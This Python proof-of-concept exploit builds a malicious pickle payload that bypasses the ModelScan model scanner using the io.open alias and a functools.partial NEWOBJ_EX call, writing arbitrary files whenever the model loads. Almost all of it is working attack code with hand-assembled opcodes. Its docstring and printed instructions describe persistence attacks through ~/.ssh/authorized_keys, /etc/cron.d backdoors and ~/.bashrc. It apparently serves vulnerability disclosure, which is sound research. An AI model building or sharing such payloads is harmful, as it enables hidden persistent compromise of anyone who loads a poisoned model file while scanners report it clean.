#!/usr/bin/env python3
"""
ModelScan 0.8.x arbitrary file write via io.open alias bypass
and functools.partial NEWOBJ_EX kwargs injection.

Two independent vulnerabilities combined:

1. io.open alias bypass
   builtins.open is blocked at CRITICAL severity in ModelScan's unsafe_globals.
   io.open is the identical function object (io.open is open -> True) but the
   io module is entirely absent from the blocklist. Referencing builtins.open
   via the io module bypasses detection completely.

2. NEWOBJ_EX kwargs injection via functools.partial
   Pickle protocol-4 includes the NEWOBJ_EX opcode (0x92) which calls
   cls.__new__(cls, *args, **kwargs) with full keyword-argument support.
   This opcode is not covered in any known ModelScan bypass research.
   It enables constructing functools.partial(print, content, file=fileobj)
   at deserialization time, providing kwargs-based function calls without
   operator.methodcaller.

   builtins.print is not in the blocklist (only eval, compile, getattr,
   apply, exec, open, breakpoint, __import__ are listed for builtins).

Chain:
    io.open(path, 'a')                             -> file_obj
    NEWOBJ_EX(functools.partial,
              (builtins.print, content),
              {file: file_obj, end: ''})           -> partial_obj
    partial_obj()                                  -> print(content, file=file_obj)
                                                   -> writes content to path

Globals extracted by ModelScan:
    {('io','open'), ('functools','partial'), ('builtins','print')}

ModelScan verdict: No issues found
Actual effect:     Arbitrary content written to any writable path at load time

Affected extensions: .pkl .pickle .joblib .dill .dat .data
Affected scanner:    ModelScan 0.8.8 (latest, July 2026)

Attack scenarios:
    path = os.path.expanduser('~/.ssh/authorized_keys')  -> persistent SSH access
    path = '/etc/cron.d/backdoor'                        -> scheduled execution (root)
    path = os.path.expanduser('~/.bashrc')               -> next shell session

Usage:
    python3 poc_io_open_filewrite.py
    modelscan -p poc_filewrite_bypass.pkl
"""

import io
import os
import pickle
import pickletools
import struct
import sys

WRITE_TARGET = "/tmp/ml_filewrite_indicator"
WRITE_CONTENT = "WRITTEN_BY_PICKLE_AT_LOAD_TIME\n"
OUT_PKL  = "/tmp/poc_filewrite_bypass.pkl"
OUT_JL   = "/tmp/poc_filewrite_bypass.joblib"


def su(s: str) -> bytes:
    b = s.encode("utf-8")
    assert len(b) < 256
    return b"\x8c" + bytes([len(b)]) + b


def build_payload(path: str, content: str) -> bytes:
    """
    Pickle protocol-4 bytecode for:
        functools.partial(print, content, file=io.open(path,'a'), end='')()

    Opcode trace:
        io.open(path, 'a')           -> file_obj [memo 6]
        builtins.print               -> print_func [memo 9]
        functools.partial            -> partial_cls [memo 12]
        NEWOBJ_EX(
            partial_cls,
            args=(print_func, content),
            kwargs={file: file_obj, end: ''}
        )                            -> partial_obj
        EMPTY_TUPLE
        REDUCE(partial_obj, ())      -> print(content, file=file_obj, end='')
        STOP
    """
    ops = io.BytesIO()

    # io.open(path, 'a') -> file_obj [memo 6]
    ops.write(su("io"));    ops.write(b"\x94")   # memo 0
    ops.write(su("open"));  ops.write(b"\x94")   # memo 1
    ops.write(b"\x93\x94")                         # STACK_GLOBAL -> io.open [memo 2]
    ops.write(su(path));    ops.write(b"\x94")   # memo 3
    ops.write(su("a"));     ops.write(b"\x94")   # memo 4
    ops.write(b"\x86\x94")                         # TUPLE2 [memo 5]
    ops.write(b"R\x94")                            # REDUCE -> file_obj [memo 6]
    ops.write(b"0")                                 # POP

    # builtins.print [memo 9] — not in blocklist
    ops.write(su("builtins")); ops.write(b"\x94") # memo 7
    ops.write(su("print"));    ops.write(b"\x94") # memo 8
    ops.write(b"\x93\x94")                          # STACK_GLOBAL -> print [memo 9]
    ops.write(b"0")                                  # POP

    # functools.partial [memo 12] — not in blocklist
    ops.write(su("functools")); ops.write(b"\x94") # memo 10
    ops.write(su("partial"));   ops.write(b"\x94") # memo 11
    ops.write(b"\x93\x94")                           # STACK_GLOBAL -> partial [memo 12]

    # args tuple: (print_func, content)
    ops.write(b"h\x09")                             # BINGET 9 -> print_func
    ops.write(su(content)); ops.write(b"\x94")     # content string [memo 13]
    ops.write(b"\x86\x94")                           # TUPLE2 -> (print, content) [memo 14]

    # kwargs dict: {file: file_obj, end: ''}
    ops.write(b"}")                                  # EMPTY_DICT
    ops.write(b"(")                                  # MARK
    ops.write(su("file"))                            # key
    ops.write(b"h\x06")                             # BINGET 6 -> file_obj
    ops.write(su("end"))                             # key
    ops.write(su(""))                                # value ''
    ops.write(b"u")                                  # SETITEMS

    # NEWOBJ_EX: partial_cls.__new__(partial_cls, *args, **kwargs)
    ops.write(b"\x92")                               # NEWOBJ_EX -> partial_obj

    # Call partial_obj()
    ops.write(b")")                                  # EMPTY_TUPLE
    ops.write(b"R.")                                 # REDUCE + STOP

    content_bytes = ops.getvalue()
    return b"\x80\x04\x95" + struct.pack("<Q", len(content_bytes)) + content_bytes


def main():
    payload = build_payload(WRITE_TARGET, WRITE_CONTENT)

    print("Payload disassembly:")
    pickletools.dis(io.BytesIO(payload))

    print("\nStep 1: verifying file write via pickle.loads()")
    if os.path.exists(WRITE_TARGET):
        os.remove(WRITE_TARGET)

    pickle.loads(payload)

    if not os.path.exists(WRITE_TARGET):
        print("FAIL: target file not created", file=sys.stderr)
        sys.exit(1)

    written = open(WRITE_TARGET).read()
    print("CONFIRMED: file written at deserialization time")
    print(f"Path:     {WRITE_TARGET}")
    print(f"Content:  {written!r}")

    print("\nStep 2: demonstrating attack scenario")
    print("Replace WRITE_TARGET with ~/.ssh/authorized_keys and WRITE_CONTENT")
    print("with an attacker SSH public key for persistent access.")
    print("Replace with /etc/cron.d/backdoor (if root) for scheduled execution.")

    try:
        import joblib
        print("\nStep 3: verifying via joblib.load()")
        os.remove(WRITE_TARGET)
        with open(OUT_JL, "wb") as f:
            f.write(payload)
        joblib.load(OUT_JL)
        if os.path.exists(WRITE_TARGET):
            print("CONFIRMED: file written at joblib.load() time")
    except ImportError:
        pass

    with open(OUT_PKL, "wb") as f:
        f.write(payload)
    with open(OUT_JL, "wb") as f:
        f.write(payload)
    print(f"\nFiles written: {OUT_PKL}, {OUT_JL}")
    print("Run: modelscan -p", OUT_PKL)
    print("Expected: No issues found")

    print("\nGlobals seen by ModelScan:")
    print("  ('io', 'open')           not in unsafe_globals")
    print("  ('functools', 'partial') not in unsafe_globals")
    print("  ('builtins', 'print')    not in unsafe_globals")
    print("  builtins.open IS blocked but io.open (same function) is NOT")


if __name__ == "__main__":
    main()